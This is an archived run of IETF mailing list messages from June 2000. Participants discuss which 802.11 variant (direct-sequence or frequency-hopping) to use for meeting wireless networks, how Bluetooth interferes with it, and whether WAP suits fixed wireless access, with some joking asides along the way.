To: RJ Atkinson <rja@inet.org>
CC: Dan Kohn <dan@dankohn.com>, ietf@ietf.org
In-reply-to: RJ Atkinson's message of Thu, 29 Jun 2000 13:22:32 -0400,
	<4.2.0.58.20000629131733.009713f0@avarice.inner.net>
Subject: Re: IETF Wireless LAN history
Phone: (781) 391-3464
X-Loop: ietf@ietf.org

   Date: Thu, 29 Jun 2000 13:22:32 -0400
   From: RJ Atkinson <rja@inet.org>

    Actually, IETF has made IEEE 802.11-DSSS the convention for wireless
   LANs at all IETF meetings for some time now.  This has been supported 
   at least at Oslo, DC, Adelaide, (and will be at Pittsburgh).  It probably 
   has been  supported for some significant time before Oslo, though I 
   don't have first-hand remembrance of that.  In DC, Nortel was pushing 
   their 802.11-FH system, but a full 802.11-DS system was up and running 
   in parallel.

I'm not sure that it's been officially decided as the convention, but
it's certainly been the practice most of the time (although the Nortel
use of frequency hoppers was a certainly an exception to this rule).  

I think there was one other time that frequency hoppers were used in the
past; I seem to recall dispairing that we would *ever* settle on a
standard 802.11 type when I broke down and purchased a 802.11-FH PCMCIA
card.  That way, I'd be ready no matter what a particular IETF meeting
site decided to use.

It would be good if we could standardize on one particular type, but as
I recall the last time the issue was raised, it was explained to me that
different systems worked better in different RF environments, so we
should get used to switching back and forth between DS and FH cards.  
If we we could depend on it always being 802.11-DS, that might make a
number of people's lives easier.

	    Probably due to overlap in organisational membership and the 
   broad International acceptance of IEEE 802 standards, IEEE 802.11-DSSS 
   has also become the de facto standard for use at several other 
   networking meetings (e.g. NANOG, RIPE).

For what it's worth, 802.11-DS (both 2 and 11 mbits support) appears to
be the de facto standard at the main Usenix technical conference as
well.

						- Ted



From owner-ietf-outbound  Thu Jun 29 15:10:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA18026
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 15:10:02 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA17961
	for <ietf@ietf.org>; Thu, 29 Jun 2000 15:06:41 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id PAA13767
	for <ietf@ietf.org>; Thu, 29 Jun 2000 15:07:39 -0400
Sender: francis@localhost.localdomain
Message-ID: <395B9E7A.4EE31EFB@ecal.com>
Date: Thu, 29 Jun 2000 15:07:38 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: WAP - What A Problem...
References: <20000629180406.4110.qmail@web1701.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Alan Simpkins wrote:

> This I can agree with, the next question that
> naturally follows then is is WAP the right protocol
> for a fixed wireless application,

I'm pretty sure it isn't--IIRC, fixed-wireless equipment gives
point-to-point links at something like T1 speed.

In addition, the fact that all your users are running over the same
wireless link gives you some maintainability advantages.  For example,
you can monitor their bandwidth usage en masse; and you have only one
link to secure instead of one per user.  Basically the same advantages
as sharing a T1 line among 100 people instead of buying 100 modems.

--
/==============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.|
|Chief Scientist |=============================================|
|eCal Corp.      |"Who died and made you king?" "My father."   |
|francis@ecal.com|                                             |
\==============================================================/





From owner-ietf-outbound  Thu Jun 29 15:20:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA18212
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 15:20:03 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18042
	for <ietf@ietf.org>; Thu, 29 Jun 2000 15:10:29 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id PAA13779
	for <ietf@ietf.org>; Thu, 29 Jun 2000 15:11:30 -0400
Sender: francis@localhost.localdomain
Message-ID: <395B9F61.C3A162B8@ecal.com>
Date: Thu, 29 Jun 2000 15:11:29 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: IETF Wireless LAN history
References: <2E3FA0558747934A8F753CC533A3F6DF01FF57CD@red-msg-24.redmond.corp.microsoft.com> <E137ixW-000I4V-00@rip.psg.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Randy Bush wrote:

> > OK, we have come to use and like the 802.11 nets at the IETF meeting. What
> > will happen if many attendees also turn up BlueTooth devices? AFAIK, they
> > operate on the same frequency band, and the BT devices emit enough noise
> > to seriously hamper 802.11 operation!
>
> simple, we take them out and have them shot for attacking critical network
> infrastructure

Don't be silly.  We can't kill people for that.  We'll shoot the *devices*.

--
/==============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.|
|Chief Scientist |=============================================|
|eCal Corp.      |Until you stalk and overrun, you can't devour|
|francis@ecal.com|anyone. --Hobbes                             |
\==============================================================/





From owner-ietf-outbound  Thu Jun 29 15:30:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA18390
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 15:30:03 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18350
	for <ietf@ietf.org>; Thu, 29 Jun 2000 15:29:03 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5TJSxP33172;
	Thu, 29 Jun 2000 15:28:59 -0400
Message-Id: <200006291928.e5TJSxP33172@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: John Stracke <francis@ecal.com>
Cc: ietf@ietf.org
Subject: Re: IETF Wireless LAN history 
In-Reply-To: Your message of "Thu, 29 Jun 2000 15:11:29 EDT."
             <395B9F61.C3A162B8@ecal.com> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <2E3FA0558747934A8F753CC533A3F6DF01FF57CD@red-msg-24.redmond.corp.microsoft.com> <E137ixW-000I4V-00@rip.psg.com>
            <395B9F61.C3A162B8@ecal.com>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1342646008P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 29 Jun 2000 15:28:58 -0400
X-Loop: ietf@ietf.org

--==_Exmh_-1342646008P
Content-Type: text/plain; charset=us-ascii

On Thu, 29 Jun 2000 15:11:29 EDT, John Stracke <francis@ecal.com>  said:
> Don't be silly.  We can't kill people for that.  We'll shoot the *devices*.

If 100 people buy offending devices, you use 100 bullets right away.  And that
only solves the problem until they find a way to contact wwww.RealFastCards.com
and order new ones - at which point you need 100 more bullets.

Or you can use *one* bullet, and watch the other 99 devices get disconnected
very quickly ;)

For some reason, my manager hasn't approved this technique as a cost-cutting
move - I'm not sure why... ;)

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



--==_Exmh_-1342646008P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOVujeXAt5Vm009ewEQKQLACg7yV9HxYHLQpotbTaCqzhnNSA78sAn3dK
IkV10aUvXEsqlKbQiBUl+U6L
=ZH7l
-----END PGP SIGNATURE-----

--==_Exmh_-1342646008P--



From owner-ietf-outbound  Thu Jun 29 15:40:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA18628
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 15:40:02 -0400 (EDT)
Received: from ennovatenetworks.com (ennovatenetworks.com [208.227.99.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18603
	for <ietf@ietf.org>; Thu, 29 Jun 2000 15:38:38 -0400 (EDT)
Received: from broncos (broncos.tst.ennovatenetworks.com [10.1.1.208])
	by ennovatenetworks.com (8.8.7/8.8.7) with SMTP id PAA21286;
	Thu, 29 Jun 2000 15:38:08 -0400 (EDT)
	(envelope-from bkumar@ennovatenetworks.com)
Reply-To: <bkumar@ennovatenetworks.com>
From: "Brijesh Kumar" <bkumar@ennovatenetworks.com>
To: "'Alan Simpkins'" <alan_simpkins@yahoo.com>, <ietf@ietf.org>
Subject: RE: WAP - What A Problem...
Date: Thu, 29 Jun 2000 15:42:11 -0400
Message-ID: <000801bfe202$1f66b560$d001010a@tst.ennovatenetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-reply-to: <20000629180406.4110.qmail@web1701.mail.yahoo.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


> -----Original Message-----
> From: Alan Simpkins [mailto:alan_simpkins@yahoo.com]
> Sent: Thursday, June 29, 2000 2:04 PM
>
> This I can agree with, the next question that
> naturally follows then is is WAP the right protocol
> for a fixed wireless application, or are we talking
> about yet another set of standards and protocols. I
> would tend to
> think that one set should work for both.


WAP's working space is in cellular phones and two way pagers, i.e..,
in hand-held (or pocket kept) mobile devices in cellular environment
with fixed cell channels and continuous location update. Though TCP/IP
could have been used here too - but carriers and manufacturers of cell
phones/pagers chose not to use for reasons that have been previously
discussed here with great vigor by some folks :-).

Fixed location or limited mobility computers will most likely be
connected using WLL or specialized Wireless Broadband Internet Access
equipment or similar other options. They are no different than any
computer in the building using Wireless LAN, and should/will use
TCP/IP.  Have a look at website of Adaptive Broadband which designs
wireless Internet access equipment for ISPs.

Cheers,

--brijesh



From owner-ietf-outbound  Thu Jun 29 15:50:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA18799
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 15:50:02 -0400 (EDT)
Received: from motgate2.mot.com (motgate2.mot.com [136.182.1.10])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18768
	for <ietf@ietf.org>; Thu, 29 Jun 2000 15:49:02 -0400 (EDT)
Received: [from pobox3.mot.com ([10.64.251.242]) by motgate2.mot.com (motgate2 2.1) with ESMTP id MAA29617 for <ietf@ietf.org>; Thu, 29 Jun 2000 12:49:02 -0700 (MST)]
Received: [from relay2.cig.mot.com (relay2.cig.mot.com [136.182.15.24]) by pobox3.mot.com (MOT-pobox3 2.0) with ESMTP id MAA08534 for <ietf@ietf.org>; Thu, 29 Jun 2000 12:49:06 -0700 (MST)]
Received: from Motorola.Com (dr05_239.il33.wes.mot.com [154.56.5.239]) by relay2.cig.mot.com (8.9.0/SCERG-RELAY-1.11b) with ESMTP id OAA03074 for <ietf@ietf.org>; Thu, 29 Jun 2000 14:48:53 -0500 (CDT)
Message-ID: <395BA712.7CBF6BAF@Motorola.Com>
Date: Thu, 29 Jun 2000 14:44:18 -0500
From: Phil Neumiller <Phillip.Neumiller@Motorola.Com>
Organization: Personal Area Networking (PAN)
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: IETF Wireless LAN history
References: <2E3FA0558747934A8F753CC533A3F6DF01FF57CD@red-msg-24.redmond.corp.microsoft.com> <E137ixW-000I4V-00@rip.psg.com>
	            <395B9F61.C3A162B8@ecal.com> <200006291928.e5TJSxP33172@black-ice.cc.vt.edu>
Content-Type: multipart/mixed;
 boundary="------------A5FC175B3AF0740A3DF1910B"
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.
--------------A5FC175B3AF0740A3DF1910B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Its very likely that within a year, almost all cellular phones will have BT in
them.  The interference issues between 802.11 and BT are a problem.  BT tends
to win in this battle. So, BT is something folks will probably need to learn
to live with.
--------------A5FC175B3AF0740A3DF1910B
Content-Type: text/x-vcard; charset=us-ascii;
 name="Phillip.Neumiller.vcf"
Content-Description: Card for Phil Neumiller
Content-Disposition: attachment;
 filename="Phillip.Neumiller.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Neumiller;Phillip
tel;pager:1258338@skytel.com
tel;cell:iDen 847-9804238 / CDMA 847-370-3899
tel;home:847-516-2009
tel;work:847-576-9624
x-mozilla-html:TRUE
url:www.mot.com/bluetooth
org:Motorola, Inc.;Personal Area Networking (PAN)
adr:;;50 E Commerce Drive;Schaumburg;IL;60195;USA
version:2.1
email;internet:Phillip.Neumiller@Motorola.com
title:Advanced Standards and Architecture
fn:Phil Neumiller
end:vcard

--------------A5FC175B3AF0740A3DF1910B--



From owner-ietf-outbound  Thu Jun 29 16:00:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA19023
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 16:00:02 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18884
	for <ietf@ietf.org>; Thu, 29 Jun 2000 15:53:55 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id OAA08289
	for <ietf@ietf.org>; Thu, 29 Jun 2000 14:51:26 -0500 (CDT)
Message-Id: <200006291951.OAA08289@rgfsparc.cr.usgs.gov>
Date: Thu, 29 Jun 2000 14:51:26 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: Re: IETF Wireless LAN history 
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: Y9pCNyPBDgBHxe2nvdg1YA==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

>Or you can use *one* bullet, and watch the other 99 devices get disconnected
>very quickly ;)
>
>For some reason, my manager hasn't approved this technique as a cost-cutting
>move - I'm not sure why... ;)

I think the ammo manufacturers have a pretty strong lobby.

RGF

Robert G. Ferrell, CISSP
========================================
 Who goeth without humor goeth unarmed.
========================================



From owner-ietf-outbound  Thu Jun 29 16:20:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA19419
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 16:20:03 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19348
	for <ietf@ietf.org>; Thu, 29 Jun 2000 16:15:38 -0400 (EDT)
Received: from isi.edu (sci.isi.edu [128.9.160.93])
	by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id NAA07368;
	Thu, 29 Jun 2000 13:15:26 -0700 (PDT)
Message-ID: <395BAE55.697C7680@isi.edu>
Date: Thu, 29 Jun 2000 13:15:17 -0700
From: Joe Touch <touch@ISI.EDU>
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: "Theodore Y. Ts'o" <tytso@MIT.EDU>
CC: RJ Atkinson <rja@inet.org>, Dan Kohn <dan@dankohn.com>, ietf@ietf.org
Subject: Re: IETF Wireless LAN history
References: <200006291836.OAA06172@tsx-prime.MIT.EDU>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit



"Theodore Y. Ts'o" wrote:
> 
>    Date: Thu, 29 Jun 2000 13:22:32 -0400
>    From: RJ Atkinson <rja@inet.org>
> 
>     Actually, IETF has made IEEE 802.11-DSSS the convention for wireless
>    LANs at all IETF meetings for some time now.  This has been supported
>    at least at Oslo, DC, Adelaide, (and will be at Pittsburgh).  It probably
>    has been  supported for some significant time before Oslo, though I
>    don't have first-hand remembrance of that.  In DC, Nortel was pushing
>    their 802.11-FH system, but a full 802.11-DS system was up and running
>    in parallel.
> 
> I'm not sure that it's been officially decided as the convention, but
> it's certainly been the practice most of the time (although the Nortel
> use of frequency hoppers was a certainly an exception to this rule).
> 
> I think there was one other time that frequency hoppers were used in the
> past; I seem to recall dispairing that we would *ever* settle on a
> standard 802.11 type when I broke down and purchased a 802.11-FH PCMCIA
> card.  That way, I'd be ready no matter what a particular IETF meeting
> site decided to use.
> 
> It would be good if we could standardize on one particular type, but as
> I recall the last time the issue was raised, it was explained to me that
> different systems worked better in different RF environments, so we
> should get used to switching back and forth between DS and FH cards.
> If we we could depend on it always being 802.11-DS, that might make a
> number of people's lives easier.

DS appears to be better for large, flat spaces (largely 2-dimensional,
under 3 stories tall, since transcievers on the middle floor largely
cover the upper and lower).

FH is better for more spherical spaces (largely 3-dimensional).

And DS and FH do not play well together, i.e., it's much better to stay
away from concurrent overlapping installations. I had earlier measured a
BW penalty of between 1/2 to 3/4 (transferring data over only one of the
two technologies at a time, in a concurrent deployment).

The decision of what to use may depend on the local environment.

Joe



From owner-ietf-outbound  Thu Jun 29 17:40:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA20601
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 17:40:01 -0400 (EDT)
Received: from munnari.OZ.AU (munnari.OZ.AU [128.250.1.21])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA20576
	for <ietf@ietf.org>; Thu, 29 Jun 2000 17:38:05 -0400 (EDT)
Received: from mundamutti.cs.mu.OZ.AU ([128.250.1.5])
	by munnari.OZ.AU with SMTP (5.83--+1.3.1+0.59) id VA02555;
	Fri, 30 Jun 2000 07:37:53 +1000 (from kre@munnari.OZ.AU)
From: Robert Elz <kre@munnari.OZ.AU>
To: "Anthony Atkielski" <anthony@ATKIELSKI.COM>
Cc: ietf@ietf.org
Subject: Re: WAP - What A Problem... 
In-Reply-To: Your message of "Thu, 29 Jun 2000 18:29:15 +0200."
             <007201bfe1e7$2b9b5b80$0a00000a@abo.wanadoo.fr> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 30 Jun 2000 07:37:52 +1000
Message-Id: <17021.962314672@mundamutti.cs.mu.OZ.AU>
X-Loop: ietf@ietf.org

    Date:        Thu, 29 Jun 2000 18:29:15 +0200
    From:        "Anthony Atkielski" <anthony@ATKIELSKI.COM>
    Message-ID:  <007201bfe1e7$2b9b5b80$0a00000a@abo.wanadoo.fr>

  | I know it's not very sexy to drop the blue-sky toys, but doesn't anyone ever
  | work on improving and democratizing existing infrastructure instead of
  | widening the gap between what people really have and what looks cool in the
  | lab?

There is plenty of the former going on - not as much as could be done
perhaps, but there isn't none either.

But it would be a grave mistake to cease working on future developments
while waiting for everyone to be able to share what we have now - and
that's not looking form the perspective of those who already have and
don't want to be held back.  If we insisted that everyone had ethernet
in their buildings before we took the next step forward, there'd be all
these buildings in parts of the world still having thick orange cable
dragged through them - but because network research and advances didn't
stop, much of the world got to avoid that step, and even the thinner
more flexible black cable - perhaps now much of it might even be able to
avoid cabling altogether.

This doesn't mean that we should stop assisting the rest of the world
until we have the one perfect technology, that would be absurd, but neither
should be be slowing down on advances just because some don't yet have
what we currently use - if we're good enough, they may never need to.

kre



From owner-ietf-outbound  Thu Jun 29 18:10:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA21256
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 18:10:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21203
	for <ietf@ietf.org>; Thu, 29 Jun 2000 18:08:09 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 137mTg-0004KE-00; Thu, 29 Jun 2000 23:08:08 +0100
Date: Thu, 29 Jun 2000 23:08:05 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
cc: "'IETF Mailing List'" <ietf@ietf.org>
Subject: Re: WAP - What A Problem...
In-Reply-To: <1075.962262602@cs.ucl.ac.uk>
Message-ID: <Pine.GSO.4.21.0006292044110.15336-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Thu, 29 Jun 2000, Jon Crowcroft wrote:

> http://www.osopinion.com/Opinions/MikeBanahan/MikeBanahan1.html
> 
> it would seeem (as i've suspected for a while) that the community in
> charge of this development has the same problem as the guy who built
> jurassic park

Jurassic Park?

[Oh, you haven't seen the film _or_ read the book? Lucky you.]

Do you mean that WAP is:
- overhyped?
- overweight?
- shortsighted?
- what comes from worrying about tight resource budgets?
- what results when it's decided it's time for all the
  networks to die? 
- a result of commercial pressures and time to market?
- badly driven?
- going completely the wrong way?
- ugly and likely to bite you even if it's wrapped in pretty
  colours?
- about to be eaten alive by things that were roaming the Earth
  long, long before?
- suffering from extremely bad long textual descriptions
  with conveniently altered outcomes?
- what happens when doctors don't get enough practice?
- an unconnected island in the middle of nowhere?
- exotic and attractive until you have to live there, when you pine
  for the comfort and safety of home?
- designed not to lead to a next generation of itself?
- something needing a lot of work to be brought back from the dead?
- really dull and tedious when viewed
  ...on a small screen?
  ...on any screen?
  ...in a mirror, where it won't look any larger?
- really hard to avoid and escape?
- a short ride not going anywhere?
- a travesty of the widely-understood record?
- misusing other people's concepts and terminology?
- no fun to play with?
- something that needs solicitous gatekeepers that cost you?
- about to be caught with its pants down?
- about to be shot in the head?
- ready to be torn apart in front of us?
- a whole world we'll be quite happy to lose?
- lacking enough characters in the line(up)?
- laying the ground for a sequel?
- a lot smarter than it first appears?
- likely to be an eventual success due to pervasive marketing?
- plagued with advertisements for itself?
- only really appreciated by everyone under the age of ten?

(I think I might have accidentally described WinCE instead. oops.)


> systems architecture is hard stuff,

and systems engineering is harder - because you can't get away with
blaming the engineers when your design doesn't work in reality. a big
hello to all you OSI system architects out there. And Lord Foster.

(I see 'Lost World' added a systems specialist. Too late.)


> there is a body of
> public work out there, and of researchers who are willing to
> cosntructively critique proposals provided they are carried out in a
> public way with optimally zero cost for access to early drafts, but
> at least low entry cost

criticism should always be free. Or at least subsidised in some
completely orthogonal manner. Buying truth is hard.


> give me a level long enough and we can moev the earth 

you need a lever _and_ a fulcrum. A pulpit in front of the choir just
won't do it...

L.

thinks 'Airframe' is better than most Crichton. That
time-travel reworking of Connie Willis just sucks.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Thu Jun 29 18:30:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA21469
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 18:30:02 -0400 (EDT)
Received: from inner.net (avarice.inner.net [199.33.248.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21383
	for <ietf@ietf.org>; Thu, 29 Jun 2000 18:22:06 -0400 (EDT)
Received: from mosquito ([216.52.8.30])
	by inner.net (8.7.6/8.9.3) with ESMTP id WAA21591;
	Thu, 29 Jun 2000 22:12:17 GMT
Message-Id: <4.2.0.58.20000629181604.0098fa90@avarice.inner.net>
X-Sender: rja@avarice.inner.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 29 Jun 2000 18:18:46 -0400
To: Joe Touch <touch@ISI.EDU>
From: RJ Atkinson <rja@inet.org>
Subject: Re: IETF Wireless LAN history
Cc: ietf@ietf.org
In-Reply-To: <395BAE55.697C7680@isi.edu>
References: <200006291836.OAA06172@tsx-prime.MIT.EDU>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 16:15 29/06/00 , Joe Touch wrote:

>DS appears to be better for large, flat spaces (largely 2-dimensional,
>under 3 stories tall, since transcievers on the middle floor largely
>cover the upper and lower).
>
>FH is better for more spherical spaces (largely 3-dimensional).

These optimisations do not appear to matter significantly in practice
in the locations that IETFs have been held or in other places where
I have experience with DS/FH being overlaid (a work campus environment).

>And DS and FH do not play well together, i.e., it's much better to stay
>away from concurrent overlapping installations. I had earlier measured a
>BW penalty of between 1/2 to 3/4 (transferring data over only one of the
>two technologies at a time, in a concurrent deployment).

IETF/DC is a fine counter-example of why the above might theoretically
be true, but is not really true in deployed networks.  IETF/DC had both
overlaid on the same 3D spaces and both worked OK.  Obviously one
must be thoughtful about the channel/frequency plan and such like
(which is true regardless of overlaid networks).

Ran
rja@inet.org



From owner-ietf-outbound  Thu Jun 29 18:40:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA21667
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 18:40:02 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21564
	for <ietf@ietf.org>; Thu, 29 Jun 2000 18:31:56 -0400 (EDT)
Received: from isi.edu (sci.isi.edu [128.9.160.93])
	by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id PAA23840;
	Thu, 29 Jun 2000 15:31:52 -0700 (PDT)
Message-ID: <395BCE4F.9DEDBCAB@isi.edu>
Date: Thu, 29 Jun 2000 15:31:43 -0700
From: Joe Touch <touch@ISI.EDU>
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: RJ Atkinson <rja@inet.org>
CC: ietf@ietf.org
Subject: Re: IETF Wireless LAN history
References: <200006291836.OAA06172@tsx-prime.MIT.EDU> <4.2.0.58.20000629181604.0098fa90@avarice.inner.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit



RJ Atkinson wrote:
> 
> At 16:15 29/06/00 , Joe Touch wrote:
> 
> >DS appears to be better for large, flat spaces (largely 2-dimensional,
> >under 3 stories tall, since transcievers on the middle floor largely
> >cover the upper and lower).
> >
> >FH is better for more spherical spaces (largely 3-dimensional).
> 
> These optimisations do not appear to matter significantly in practice
> in the locations that IETFs have been held or in other places where
> I have experience with DS/FH being overlaid (a work campus environment).

That is interesting - it was the deciding factor in the deployment here.
DS was not capable of covering the 3-D space sufficiently, due the the
number of overlapping cells required, and the number of "channels"
available.

> >And DS and FH do not play well together, i.e., it's much better to stay
> >away from concurrent overlapping installations. I had earlier measured a
> >BW penalty of between 1/2 to 3/4 (transferring data over only one of the
> >two technologies at a time, in a concurrent deployment).
> 
> IETF/DC is a fine counter-example of why the above might theoretically
> be true, 

See "measured" above. Theory was not involved. :-)

but is not really true in deployed networks.  IETF/DC had both
> overlaid on the same 3D spaces and both worked OK.  Obviously one
> must be thoughtful about the channel/frequency plan and such like
> (which is true regardless of overlaid networks).

Agreed.

Joe



From owner-ietf-outbound  Thu Jun 29 18:50:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA21850
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 18:50:02 -0400 (EDT)
Received: from atkielski.com (atkielski.com [161.58.232.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21731
	for <ietf@ietf.org>; Thu, 29 Jun 2000 18:41:43 -0400 (EDT)
Received: from AStLambert101214 (ASt-Lambert-101-2-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.8.8) id AAA57712; Fri, 30 Jun 2000 00:41:42 +0200 (CEST)
Message-ID: <00a001bfe21b$33de1510$0a00000a@abo.wanadoo.fr>
From: "Anthony Atkielski" <anthony@atkielski.com>
To: <ietf@ietf.org>
References: <20000629164137.15200.qmail@web1701.mail.yahoo.com>
Subject: Re: WAP - What A Problem...
Date: Fri, 30 Jun 2000 00:41:37 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
